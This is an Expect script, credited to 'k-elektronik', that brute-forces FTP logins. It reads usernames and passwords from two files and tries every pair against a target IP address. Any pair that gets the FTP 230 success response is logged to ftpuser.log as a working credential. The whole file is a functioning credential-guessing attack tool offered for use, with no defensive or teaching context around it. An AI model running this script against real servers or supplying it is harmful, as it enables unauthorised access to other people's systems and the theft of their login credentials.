#!/usr/bin/expect -f
#Supplied by k-elektronik

set timeout 5
set pass [lindex $argv 0]
set user [lindex $argv 1]
set ip [lindex $argv 2]

if {[llength $argv] != 3} {
   puts stderr "Usage: $argv0 <pass-file> <user-file> <ip address>\n"
   exit }

set tryPass [open $pass r]
set tryUser [open $user r]

set passwords [read $tryPass]
set login [read $tryUser]

foreach username $login {
 foreach passwd $passwords {
   spawn ftp $ip
   expect "Name"
   send "$username\r"
   expect "Password:"
   send "$passwd\r"
   set logz [open ftpuser.log a]
   expect "230" {
    puts "LOGIN SUCCESSFULL \n"
    puts $logz "user/pass - host -> $username/$passwd - $ip\n"
    close $logz
   }
   expect "ftp>"
   send "bye\n\r"
   set id [exp_pid]
   exec kill -INT $id
 }
}